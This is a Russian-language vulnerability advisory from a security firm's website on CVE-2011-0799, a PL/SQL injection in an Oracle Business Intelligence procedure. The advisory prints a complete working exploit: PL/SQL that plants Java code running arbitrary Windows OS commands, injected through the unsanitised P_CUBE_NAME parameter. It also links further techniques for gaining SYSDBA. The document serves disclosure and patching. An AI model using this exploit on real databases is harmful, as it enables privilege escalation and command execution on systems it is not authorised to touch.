Услуги
Аудит информационной безопасности

Аудит информационной безопасности компании – многоплановая задача, в
которую входит несколько направлений анализа
ИТ-инфраструктуры и оценки защищенности приложений и устройств

Подробнее
Решения
Решения

Аккумулировав весь опыт Digital Security, мы подготовили отдельные решения по аудиту безопасности. Каждое решение объединяет специализированные услуги для конкретной отрасли бизнеса или сферы исследования. Вы можете выбрать любую из них или несколько — в комплексе

О нас
Digital Security

Практическая информационная безопасность – наша специализация и любимое дело. Уже 18 лет мы помогаем нашим клиентам уберечь сервисы и системы от киберугроз, а также активно участвуем в развитии мирового ИБ-сообщества

Подробнее
Экспертиза
Экспертиза

Для клиентов Digital Security работает команда экспертов ИБ мирового уровня. Мы получаем благодарности за вклад в обеспечение безопасности от лидеров ИТ-индустрии, а также подтверждаем свои навыки международными сертификатами в области ИБ

Подробнее
Ресурсы
Ресурсы

Мы создаем контент для тех, кому интересна информационная безопасность. Многостраничные технические статьи, бизнес-аналитика с емкими выводами, записи вебинаров и презентации с профильных конференций — все вы найдете в этом разделе

Подробнее

Мы создаем контент для тех, кому интересна информационная безопасность. Многостраничные технические статьи, бизнес-аналитика с емкими выводами, записи вебинаров и презентации с профильных конференций — все вы найдете в этом разделе

Посмотреть раздел

Масштабные исследования и аналитические обзоры. Описания хакерских инструментов и техник

Статьи и аналитические работы, полезные для бизнеса. Экспертное мнение об актуальных проблемах информационной безопасности

Видеоархив наших вебинаров и конференций. А также анонсы предстоящих мероприятий

Руководства, презентации, чек-листы. Гайды для повышения уровня осведомленности в вопросах ИБ

Наверх

CVE-2011-0799: Повышение привилегий

Вендор

Oracle

Продукт

Oracle Business Intelligence Standard Edition One 10.1.3.2.1 and others

Тип уязвимости

Повышение привилегий

Reported

20.04.2009

Date of Public Advisory

23.05.2011

Подтверждение

Автор

Александр Поляков

Детальное описание

Процедура OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SET_ID выполняется с правами пользователя OWBREPOS_OWNER и предоставляется пользователю PUBLIC. Эксплуатация уязвимости в этой процедуре может дать любому пользователю права OWBREPOS_OWNER. У OWBREPOS_OWNER есть ряд критичных ролей и привилегий.

PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID

Уязвимые параметры:
Argument Name Type In/Out Defaul
P_CUBE_NAME VARCHAR2 IN
P_MEASURE_NAME VARCHAR2 IN
P_SOLVE_GROUP_ID VARCHAR2 IN

Аргумент P_CUBE_NAME не санитизован, поэтому злоумышленник может внедрить SQL код, который будет исполнен с правами OWBREPOS_OWNER. OWBREPOS_OWNER не является администратором баз данных (DBA), но у него есть ряд критичных ролей и привилегий, которые могут быть использованы для просмотра любых данных в таблицах базы данных, включая хеши пользователей, а также для получения доступа к файлам ОС, исполнения команд ОС и получения прав SYSDBA.

Критичные роли и привилегии
1. SELECT ANY DICTIONARY
2. JAVA_ADMIN
3. CREATE EXTERNAL JOB
4. CREATE ANY DIRECTORY

Эксплойт
1.2. У OWBREPOS_OWNER есть роль «JAVA_ADMIN», поэтому он может выполнять любые команды ОС с привилегиями Owner of Oracle BI process (по умолчанию в Windows это пользователь LOCAL SYSTEM).

Пример эксплойта
CREATE OR REPLACE FUNCTION «SCOTT».»SQLI» return varchar2
authid current_user as
pragma autonomous_transaction;
SqlCommand VARCHAR2(2048);

BEGIN
SqlCommand := ‘
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED «SRC_EXECUTEOS» AS
import java.lang.*;
import java.io.*;

public class ExecuteOS
{
public static void printFile (String fileName) throws IOException
{
File fileOut;
FileReader fileReaderOut;
BufferedReader buffReader;
String strRead;

fileOut = new File (fileName);
fileReaderOut = new FileReader (fileOut);
buffReader = new BufferedReader(fileReaderOut);
while ((strRead = buffReader.readLine()) != null)
System.out.println(strRead);
}

public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException
{
String[] strCmd = {«cmd.exe», «/c», «1>c:\\stdout.txt», «2>c:\\stderr.txt», cmd};

System.out.println(«==========\r\nExecuting OS command…»);
Process p = Runtime.getRuntime().exec(strCmd);
p.waitFor();
System.out.println(«\r\n==========\r\nThis was the STANDARD OUTPUT for the command:»);
printFile («c:\\stdout.txt»);
System.out.println(«\r\n==========\r\nThis was the ERROR OUTPUT for the command:»);
printFile («c:\\stderr.txt»);
}
}’;
execute immediate SqlCommand;

SqlCommand := ‘
CREATE OR REPLACE PROCEDURE «PROC_EXECUTEOS» (p_command varchar2)
AS LANGUAGE JAVA
NAME »ExecuteOS.execOSCmd (java.lang.String)»;’;
execute immediate SqlCommand;

execute immediate ‘GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT’;

commit; — Must do a commit
return »; — Must return a value
END;
/

grant execute on SCOTT.SQLI to PUBLIC;
/

SET SERVEROUTPUT ON
/

exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID(‘aaa»||SCOTT.SQLI()||»aaa’,’bbb’,’bbb’);
/

CALL dbms_java.set_output(1999);
/

EXEC OWBREPOS_OWNER.proc_executeos (‘set’);
/

1.3. У OWBREPOS_OWNER есть привилегия «CREATE EXTERNAL JOB», поэтому он может выполнять любые команды ОС, как, например, в этом эксплойте (http://milw0rm.com/exploits/7677)

1.4. У OWBREPOS_OWNER есть привилегия «CREATE ANY DIRECTORY», поэтому он может получить привилегии SYSDBA или выполнять любые команды ОС, например, этим методом:
http://www.oracleforensics.com/wordpress/wp-content/uploads/2008/10/create_any_directory_to_sysdba.pdf

Решение
Решение этой проблемы представлено в SAP Oracle Critical patch update April 2011.
http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html

Мы используем куки. Никогда такого не было, объясните

ОК